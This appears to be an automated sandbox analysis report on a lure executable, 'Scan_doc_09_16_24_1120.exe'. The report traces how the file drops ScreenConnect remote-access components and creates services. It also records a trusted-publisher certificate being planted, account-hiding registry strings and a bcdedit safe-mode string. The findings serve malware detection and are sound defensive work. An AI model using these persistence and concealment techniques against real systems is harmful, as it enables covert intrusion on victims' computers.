Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.2784738148.00000227082D0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707F4C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284476507.0000000001852000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707F3B000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270802E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.2283012190.0000000004B32000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source: Scan_doc_09_16_24_1120.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Scan_doc_09_16_24_1120.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Scan_doc_09_16_24_1120.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Scan_doc_09_16_24_1120.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Scan_doc_09_16_24_1120.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Binary contains a suspicious time stamp
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr Static PE information: 0xB80EE04C [Tue Nov 8 12:57:48 2067 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00831000
PE file contains an invalid checksum
Source: Scan_doc_09_16_24_1120.exe Static PE information: real checksum: 0x1bda6 should be: 0x1b34e
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831BC0 push ecx; ret 0_2_00831BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848DFD2A5 pushad ; iretd 1_2_00007FF848DFD2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F28E01 push 8B495C8Ch; iretd 1_2_00007FF848F28E0C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F17D00 push eax; retf 1_2_00007FF848F17D1D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F28D31 push 8B495C8Ch; iretd 1_2_00007FF848F28D3C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F100BD pushad ; iretd 1_2_00007FF848F100C1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F1842E pushad ; ret 1_2_00007FF848F1845D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F39450 push ds; retn 5F4Ch 1_2_00007FF848F3946F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F1845E push eax; ret 1_2_00007FF848F1846D
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF848F14162 push eax; ret 10_2_00007FF848F14163
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF848F12D68 push eax; ret 10_2_00007FF848F12E7B
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF848F1401A push eax; iretd 10_2_00007FF848F1401B
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF848F130BA push eax; iretd 10_2_00007FF848F130BB
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF848F13F3A pushad ; retf 10_2_00007FF848F13F3B
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF848F12FDA pushad ; retf 10_2_00007FF848F12FDB
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Code function: 11_2_024818B1 push 4C025033h; retf 11_2_024818BD
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF849255918 pushad ; retn 4924h 13_2_00007FF849255991
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF849257E9A push ds; retf 13_2_00007FF849257E9B
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF849257EA3 push ds; retf 13_2_00007FF849257EA4
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF849257D84 push ss; iretd 13_2_00007FF849257D85
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF848F6E298 pushad ; retf 4920h 15_2_00007FF848F6E3A9
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF8492435AA push 00000030h; iretd 15_2_00007FF8492435AC
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF849242F03 pushfd ; iretd 15_2_00007FF849242F8D

Persistence and Installation Behavior
barindex
Creates files in the system32 config directory
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to dropped file
May use bcdedit to modify the Windows boot settings
Source: ScreenConnect.ClientService.dll.1.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.1.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Creates or modifies windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application
Modifies existing windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (73549b67-726b-470e-ab1a-fbbb83a6a15b)

Hooking and other Techniques for Hiding and Protection
barindex
Contains functionality to hide user accounts
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2286646662.000000001C312000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 0000000B.00000002.2282591404.00000000024C2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000D.00000002.3273020779.00000000023F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000F.00000002.2941168266.00000000032F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000F.00000002.2940865152.0000000003100000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll0.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Stores large binary data to the registry
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
